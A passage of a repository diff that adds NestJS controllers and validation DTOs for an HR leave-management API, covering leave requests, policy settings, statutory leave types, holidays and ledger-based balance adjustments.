||||
@HrStaff([HR_PERMS.leave.approveL1, HR_PERMS.leave.approveL2])
|
||||
@ApiOperation({ summary: "Reject, with a reason" })
|
||||
reject(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: RejectLeaveRequestDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.requests.reject(id, dto.note, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/withdraw")
|
||||
@HrStaff(HR_PERMS.leave.create)
|
||||
@ApiOperation({
|
||||
summary: "Withdraw before a decision",
|
||||
description: "Nothing was deducted, so nothing comes back.",
|
||||
})
|
||||
withdraw(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.requests.withdraw(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/cancel")
|
||||
@HrStaff(HR_PERMS.leave.cancel)
|
||||
@ApiOperation({
|
||||
summary: "Cancel approved leave",
|
||||
description:
|
||||
"Reverses the deduction so the days return. The reversal is posted, not " +
|
||||
"deleted — the balance history keeps showing that the leave was booked " +
|
||||
"and then called off.",
|
||||
})
|
||||
cancel(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: CancelLeaveRequestDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.requests.cancel(id, dto.reason, actorFrom(user));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
import { Body, Controller, Get, Patch } from "@nestjs/common";
|
||||
import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../../common/hr-guards";
|
||||
import { actorFrom } from "../../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
|
||||
import { LeaveSettingsService } from "../services/leave-settings.service";
|
||||
import { UpdateLeaveSettingsDto } from "../dto/leave-settings.dto";
|
||||
|
||||
@ApiTags("leave-settings")
|
||||
@ApiBearerAuth()
|
||||
@Controller("leave-settings")
|
||||
@HrStaff([HR_PERMS.leave.manageType, HR_PERMS.leave.viewOwn])
|
||||
export class LeaveSettingsController {
|
||||
constructor(private readonly settingsService: LeaveSettingsService) {}
|
||||
|
||||
@Get()
|
||||
// Readable by anyone who can request leave: the weekend definition is what
|
||||
// turns their dates into a day count, so hiding it makes the number arbitrary.
|
||||
@HrStaff(HR_PERMS.leave.viewOwn)
|
||||
@ApiOperation({
|
||||
summary: "This organization's leave policy",
|
||||
description:
|
||||
"Returns defaults when nothing has been configured — a row is only written " +
|
||||
"once somebody changes something, so an unconfigured organization stays " +
|
||||
"distinguishable from one that happens to agree with the defaults.",
|
||||
})
|
||||
find(@CurrentUser() user: TCurrentUser) {
|
||||
return this.settingsService.find(actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch()
|
||||
@HrStaff(HR_PERMS.leave.manageType)
|
||||
@ApiOperation({
|
||||
summary: "Change the leave policy",
|
||||
description:
|
||||
"Creates the row on first change. Note weekendDays: the statutory day " +
|
||||
"figures assume a six-day week, so an employer working Monday–Friday must " +
|
||||
"set [0,6] here for the counts to mean what the statute intends.",
|
||||
})
|
||||
update(
|
||||
@Body() dto: UpdateLeaveSettingsDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.settingsService.update(dto, actorFrom(user));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
Delete,
|
||||
Get,
|
||||
HttpCode,
|
||||
HttpStatus,
|
||||
Param,
|
||||
ParseIntPipe,
|
||||
ParseUUIDPipe,
|
||||
Patch,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import {
|
||||
ApiBearerAuth,
|
||||
ApiOperation,
|
||||
ApiQuery,
|
||||
ApiResponse,
|
||||
ApiTags,
|
||||
} from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../../common/hr-guards";
|
||||
import { actorFrom } from "../../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
|
||||
import { LeaveTypesService } from "../services/leave-types.service";
|
||||
import { CreateLeaveTypeDto, UpdateLeaveTypeDto } from "../dto/leave-type.dto";
|
||||
|
||||
@ApiTags("leave-types")
|
||||
@ApiBearerAuth()
|
||||
@Controller("leave-types")
|
||||
@HrStaff([HR_PERMS.leave.manageType, HR_PERMS.leave.viewOwn])
|
||||
export class LeaveTypesController {
|
||||
constructor(private readonly leaveTypesService: LeaveTypesService) {}
|
||||
|
||||
@Post()
|
||||
@HrStaff(HR_PERMS.leave.manageType)
|
||||
@ApiOperation({ summary: "Add a leave type" })
|
||||
create(@Body() dto: CreateLeaveTypeDto, @CurrentUser() user: TCurrentUser) {
|
||||
return this.leaveTypesService.create(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post("seed-statutory")
|
||||
@HrStaff(HR_PERMS.leave.manageType)
|
||||
@HttpCode(HttpStatus.OK)
|
||||
@ApiOperation({
|
||||
summary: "Seed the statutory catalogue",
|
||||
description:
|
||||
"Creates the leave types set out in Labour Proclamation 1156/2019. " +
|
||||
"Idempotent by code, and existing types are never modified — an employer " +
|
||||
"who has edited a figure keeps their edit.",
|
||||
})
|
||||
@ApiResponse({ status: 200, description: "{ created: [], skipped: [] }" })
|
||||
seed(@CurrentUser() user: TCurrentUser) {
|
||||
return this.leaveTypesService.seedStatutory(actorFrom(user));
|
||||
}
|
||||
|
||||
@Get()
|
||||
// Anyone who can request leave needs the catalogue to choose from.
|
||||
@HrStaff(HR_PERMS.leave.viewOwn)
|
||||
@ApiOperation({ summary: "List leave types" })
|
||||
@ApiQuery({ name: "search", required: false })
|
||||
@ApiQuery({ name: "isActive", required: false, type: Boolean })
|
||||
findAll(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("search") search?: string,
|
||||
@Query("isActive") isActive?: string,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
return this.leaveTypesService.findAll(
|
||||
{
|
||||
search,
|
||||
isActive: isActive === undefined ? undefined : isActive === "true",
|
||||
page,
|
||||
limit,
|
||||
},
|
||||
actorFrom(user),
|
||||
);
|
||||
}
|
||||
|
||||
@Get(":id")
|
||||
@HrStaff(HR_PERMS.leave.viewOwn)
|
||||
@ApiOperation({ summary: "One leave type" })
|
||||
findOne(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.leaveTypesService.findOne(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id")
|
||||
@HrStaff(HR_PERMS.leave.manageType)
|
||||
@ApiOperation({ summary: "Change a leave type" })
|
||||
update(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: UpdateLeaveTypeDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.leaveTypesService.update(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Delete(":id")
|
||||
@HrStaff(HR_PERMS.leave.manageType)
|
||||
@HttpCode(HttpStatus.NO_CONTENT)
|
||||
@ApiOperation({
|
||||
summary: "Retire a leave type",
|
||||
description:
|
||||
"Soft delete. Requests and balances already recorded against it keep " +
|
||||
"resolving — deactivating (isActive: false) is the gentler option and " +
|
||||
"removes it from pickers without touching history.",
|
||||
})
|
||||
remove(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.leaveTypesService.remove(id, actorFrom(user));
|
||||
}
|
||||
}
|
||||
49
apps/edr-hr-api/src/modules/leave/dto/holiday.dto.ts
Normal file
49
apps/edr-hr-api/src/modules/leave/dto/holiday.dto.ts
Normal file
@@ -0,0 +1,49 @@
|
||||
import { ApiProperty, ApiPropertyOptional, PartialType } from "@nestjs/swagger";
|
||||
import { Type } from "class-transformer";
|
||||
import {
|
||||
IsBoolean,
|
||||
IsDateString,
|
||||
IsEnum,
|
||||
IsObject,
|
||||
IsOptional,
|
||||
ValidateNested,
|
||||
} from "class-validator";
|
||||
|
||||
import { EHolidayType } from "../entities/holiday.entity";
|
||||
import { LocalizedTextDto } from "./leave-type.dto";
|
||||
|
||||
export class CreateHolidayDto {
|
||||
@ApiProperty({ format: "date", example: "2026-09-11" })
|
||||
@IsDateString()
|
||||
observedOn!: string;
|
||||
|
||||
@ApiProperty({ type: LocalizedTextDto })
|
||||
@IsObject()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedTextDto)
|
||||
name!: LocalizedTextDto;
|
||||
|
||||
@ApiPropertyOptional({ enum: EHolidayType, default: EHolidayType.PUBLIC })
|
||||
@IsOptional()
|
||||
@IsEnum(EHolidayType)
|
||||
holidayType?: EHolidayType;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
default: false,
|
||||
description:
|
||||
"True for lunar holidays whose date is not confirmed until close to the day.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
isEstimated?: boolean;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
default: false,
|
||||
description: "Observed but still worked — the day does not close the office.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
isWorkingDay?: boolean;
|
||||
}
|
||||
|
||||
export class UpdateHolidayDto extends PartialType(CreateHolidayDto) {}
|
||||
52
apps/edr-hr-api/src/modules/leave/dto/leave-balance.dto.ts
Normal file
52
apps/edr-hr-api/src/modules/leave/dto/leave-balance.dto.ts
Normal file
@@ -0,0 +1,52 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import {
|
||||
IsDateString,
|
||||
IsNumber,
|
||||
IsOptional,
|
||||
IsString,
|
||||
MaxLength,
|
||||
} from "class-validator";
|
||||
|
||||
import { ELedgerEntryType } from "../entities/leave-ledger-entry.entity";
|
||||
|
||||
export class AdjustBalanceDto {
|
||||
@ApiProperty({
|
||||
description:
|
||||
"Signed. Positive credits days, negative removes them. Posted as an " +
|
||||
"ADJUSTMENT entry — nothing is overwritten.",
|
||||
example: -2.5,
|
||||
})
|
||||
@IsNumber()
|
||||
days!: number;
|
||||
|
||||
@ApiProperty({
|
||||
maxLength: 256,
|
||||
description: "Required. An unexplained adjustment is indefensible later.",
|
||||
})
|
||||
@IsString()
|
||||
@MaxLength(256)
|
||||
reason!: string;
|
||||
|
||||
@ApiPropertyOptional({ format: "date", description: "Defaults to today." })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
effectiveOn?: string;
|
||||
}
|
||||
|
||||
export class ReverseEntryDto {
|
||||
@ApiProperty({ maxLength: 256 })
|
||||
@IsString()
|
||||
@MaxLength(256)
|
||||
reason!: string;
|
||||
}
|
||||
|
||||
export class LedgerEntryResponseDto {
|
||||
@ApiProperty() id!: string;
|
||||
@ApiProperty({ enum: ELedgerEntryType }) entryType!: ELedgerEntryType;
|
||||
@ApiProperty({ description: "Signed days." }) days!: string;
|
||||
@ApiProperty({ format: "date" }) effectiveOn!: string;
|
||||
@ApiPropertyOptional() reason?: string | null;
|
||||
@ApiPropertyOptional() sourceType?: string | null;
|
||||
@ApiPropertyOptional() sourceId?: string | null;
|
||||
@ApiPropertyOptional() reversesId?: string | null;
|
||||
}
|
||||
88
apps/edr-hr-api/src/modules/leave/dto/leave-request.dto.ts
Normal file
88
apps/edr-hr-api/src/modules/leave/dto/leave-request.dto.ts
Normal file
@@ -0,0 +1,88 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import {
|
||||
IsBoolean,
|
||||
IsDateString,
|
||||
IsOptional,
|
||||
IsString,
|
||||
IsUUID,
|
||||
MaxLength,
|
||||
} from "class-validator";
|
||||
|
||||
export class CreateLeaveRequestDto {
|
||||
@ApiPropertyOptional({
|
||||
format: "uuid",
|
||||
description:
|
||||
"iam.employees.id. Omit to file for yourself; supplying someone else's " +
|
||||
"is an HR action and needs a staff account.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
employeeId?: string;
|
||||
|
||||
@ApiProperty({ format: "uuid" })
|
||||
@IsUUID()
|
||||
leaveTypeId!: string;
|
||||
|
||||
@ApiProperty({ format: "date", example: "2026-09-14" })
|
||||
@IsDateString()
|
||||
startDate!: string;
|
||||
|
||||
@ApiProperty({ format: "date", example: "2026-09-18" })
|
||||
@IsDateString()
|
||||
endDate!: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
default: false,
|
||||
description: "Only for a single date, and only if the type allows it.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
isHalfDay?: boolean;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 512 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(512)
|
||||
reason?: string;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 64, description: "Phone number while away." })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(64)
|
||||
contactDuringLeave?: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
format: "uuid",
|
||||
description:
|
||||
"hr.employee_documents.id — the medical certificate or equivalent. " +
|
||||
"Required when the type demands evidence beyond a threshold.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
attachmentDocumentId?: string;
|
||||
}
|
||||
|
||||
export class DecideLeaveRequestDto {
|
||||
@ApiPropertyOptional({ maxLength: 512 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(512)
|
||||
note?: string;
|
||||
}
|
||||
|
||||
export class RejectLeaveRequestDto {
|
||||
@ApiProperty({
|
||||
maxLength: 512,
|
||||
description: "Required — a refusal without a reason is not actionable.",
|
||||
})
|
||||
@IsString()
|
||||
@MaxLength(512)
|
||||
note!: string;
|
||||
}
|
||||
|
||||
export class CancelLeaveRequestDto {
|
||||
@ApiProperty({ maxLength: 512 })
|
||||
@IsString()
|
||||
@MaxLength(512)
|
||||
reason!: string;
|
||||
}
|
||||
74
apps/edr-hr-api/src/modules/leave/dto/leave-settings.dto.ts
Normal file
74
apps/edr-hr-api/src/modules/leave/dto/leave-settings.dto.ts
Normal file
@@ -0,0 +1,74 @@
|
||||
import { ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import {
|
||||
ArrayMaxSize,
|
||||
IsArray,
|
||||
IsBoolean,
|
||||
IsEnum,
|
||||
IsInt,
|
||||
IsOptional,
|
||||
IsString,
|
||||
Max,
|
||||
MaxLength,
|
||||
Min,
|
||||
} from "class-validator";
|
||||
|
||||
import { ELeaveYearBasis } from "../entities/leave-settings.entity";
|
||||
|
||||
export class UpdateLeaveSettingsDto {
|
||||
@ApiPropertyOptional({ enum: ELeaveYearBasis })
|
||||
@IsOptional()
|
||||
@IsEnum(ELeaveYearBasis)
|
||||
leaveYearBasis?: ELeaveYearBasis;
|
||||
|
||||
@ApiPropertyOptional({ minimum: 1, maximum: 12, default: 7 })
|
||||
@IsOptional()
|
||||
@IsInt()
|
||||
@Min(1)
|
||||
@Max(12)
|
||||
fiscalYearStartMonth?: number;
|
||||
|
||||
@ApiPropertyOptional({ minimum: 1, maximum: 31, default: 8 })
|
||||
@IsOptional()
|
||||
@IsInt()
|
||||
@Min(1)
|
||||
@Max(31)
|
||||
fiscalYearStartDay?: number;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
type: [Number],
|
||||
example: [0, 6],
|
||||
description:
|
||||
"Non-working days of the week, 0 = Sunday … 6 = Saturday. Defaults to [0], " +
|
||||
"the six-day week the statutory leave figures assume. Set [0,6] for a " +
|
||||
"Monday–Friday employer.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsArray()
|
||||
@ArrayMaxSize(6)
|
||||
@IsInt({ each: true })
|
||||
@Min(0, { each: true })
|
||||
@Max(6, { each: true })
|
||||
weekendDays?: number[];
|
||||
|
||||
@ApiPropertyOptional({ minimum: 0, maximum: 24, default: 6 })
|
||||
@IsOptional()
|
||||
@IsInt()
|
||||
@Min(0)
|
||||
@Max(24)
|
||||
carryOverDeadlineMonths?: number;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
default: false,
|
||||
description:
|
||||
"Whether a request may be approved that takes a balance below zero.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
allowNegativeBalance?: boolean;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 64 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(64)
|
||||
statuteReference?: string;
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user